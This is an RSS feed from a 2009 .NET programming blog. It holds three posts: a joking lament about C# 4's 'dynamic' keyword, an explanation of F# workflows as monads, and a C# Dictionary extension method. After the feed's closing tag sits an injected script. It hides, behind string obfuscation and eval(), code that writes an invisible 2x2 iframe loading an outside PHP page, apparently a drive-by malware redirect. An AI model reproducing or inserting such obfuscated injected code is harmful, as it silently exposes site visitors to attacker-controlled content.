<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>LexParse &#187; .NET</title>
	<atom:link href="http://www.lexparse.com/tag/net/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com</link>
	<description>Software Development</description>
	<lastBuildDate>Sat, 14 Nov 2009 03:39:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>C# Dynamic: The Downfall of Western Civilization</title>
		<link>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/</link>
		<comments>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 20:14:41 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[end of days]]></category>

		<guid isPermaLink="false">http://www.lexparse.com/?p=141</guid>
		<description><![CDATA[I&#8217;ve known about the new dynamic keyword in C# 4 for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve known about the new <a href="http://msdn.microsoft.com/en-us/library/dd264736(VS.100).aspx" target="_blank"><em>dynamic</em> keyword in C# 4</a> for about a year now but really haven&#8217;t thought much about it.  It&#8217;s suppose to be syntactic sugar for dealing with things like COM interop and objects from other DLR languages.  This can be done now by using the existing reflection framework/library, but it can be tedious dealing with method name strings and the chain of method calls needed to get to the method invocation.  Variables declared as <em>dynamic</em> bypass static type checking.  </p>
<p>I came to the realization today this new keyword might well trigger the downfall of western civilization.  Not only can this keyword be used for local variables, but also method parameters and return values.  If you have experience working in Corporate America, you know that the there are plenty of developers out there who will abuse this keyword to no end.  Can you imagine a ginormous, multi-thousand source file code base littered with <em>dynamic</em>!!!  Methods that return dynamic!!!  Methods that take dynamic!!!  Does this not frighten anybody?  I&#8217;m so scared.  Am I alone?  Can we stop this?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/11/11/csharp-dynamic-the-downfall-of-western-civilization/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>F# and Workflows (Monads)</title>
		<link>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/</link>
		<comments>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 14:41:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Clojure]]></category>
		<category><![CDATA[F#]]></category>
		<category><![CDATA[Haskell]]></category>
		<category><![CDATA[Lisp]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Monads]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=53</guid>
		<description><![CDATA[Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function [...]]]></description>
			<content:encoded><![CDATA[<p>Don&#8217;t let the name scare you. A monad is just something that represents one or more computations, a workflow. The need for monads came up in pure functional programming languages like Haskell where given a set of inputs, a function should return the same value every time. But what happens when you have a function that takes a filename and line number and returns a byte array of the data on that line in the file?  Might it not return a different byte array between subsequent calls if the file changed?  The solution: instead of executing the operations to read the file and return the data, the function creates a workflow(monad) that will do that.  So what comes back from the function is a workflow, something that represents the operations to read from the file.  In typical pragmatic form, Microsoft decided to use a better name for this in F#: Workflows.  The stuff in the Workflow is called the <em>compuation expression</em>.  These names make sense.</p>
<p>It turns out workflows are useful for other things like building <a href="http://msdn.microsoft.com/en-us/library/dd233209(VS.100).aspx" target="_blank">Sequence Expressions</a> and<a href="http://msdn.microsoft.com/en-us/library/dd233250(VS.100).aspx" target="_blank"> Async Workflows</a>.  The advantage is a syntactic sugar for creating what is usually a gobbledygook of disparate pieces of code to accomplish the same thing.  You can <a href="http://msdn.microsoft.com/en-us/library/dd233182(VS.100).aspx" target="_blank">create your own workflows</a> by creating a type with a couple of important mothods: Bind, Delay, and Return.  I really recommend watching <a href="http://channel9.msdn.com/pdc2008/TL11/" target="_blank">Luca Bolognese&#8217;s presentation</a> on F#.  Its worth watching for the section where he discusses Async Workflows.  Pretty amazing stuff.</p>
<p>If you come from the Lisp world, F# Sequence Expressions will seem familiar to you.  In <a href="http://www.clojure.org" target="_blank">Clojure </a>and Lisp they are called <a href="http://clojure.org/api#toc264" target="_blank">List Comprehensions</a> but are essentially a specialized Monad/Workflow.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/29/f-and-workflows-monads/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C#: .NET Generic Dictionary Improvement</title>
		<link>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/</link>
		<comments>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/#comments</comments>
		<pubDate>Wed, 28 Oct 2009 18:30:53 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://lexparse.com/?p=56</guid>
		<description><![CDATA[Are you tired of doing the if(dict.Contains(key))&#8230; pattern?  Extend Dictionary:
public static R ValueOrSomethingElse&#60;K, V, R&#62;(this Dictionary&#60;K, V&#62; Col, K Key, Func&#60;V, R&#62; Transform, Func&#60;R&#62; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}
Example usage:

Dictionary&#60;string, DateTime&#62; BDays = new Dictionary&#60;string, DateTime&#62;();
...
BDays.ValueOrSomethingElse("Mark", d [...]]]></description>
			<content:encoded><![CDATA[<p>Are you tired of doing the <em>if(dict.Contains(key))&#8230;</em> pattern?  Extend Dictionary:</p>
<pre name="code" class="csharp">public static R ValueOrSomethingElse&lt;K, V, R&gt;(this Dictionary&lt;K, V&gt; Col, K Key, Func&lt;V, R&gt; Transform, Func&lt;R&gt; SomethingElse)
{
   if (Col.ContainsKey(Key))
      return Transform(Col[Key]);
   else
      return SomethingElse();
}</pre>
<p>Example usage:</p>
<pre name="code" class="c-sharp">
Dictionary&lt;string, DateTime&gt; BDays = new Dictionary&lt;string, DateTime&gt;();
...
BDays.ValueOrSomethingElse("Mark", d =&gt; d.ToString("MM/dd/yy"), () =&gt; "Unknown BirthDate");
</pre>
<p>The second parameter is a lambda for transforming the value if the key is found.  The third parameter is a lambda to execute and return if the key is not found.  I have the third parameter(something else) as a lambda in case the &#8220;something else&#8221; is an expensive operation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>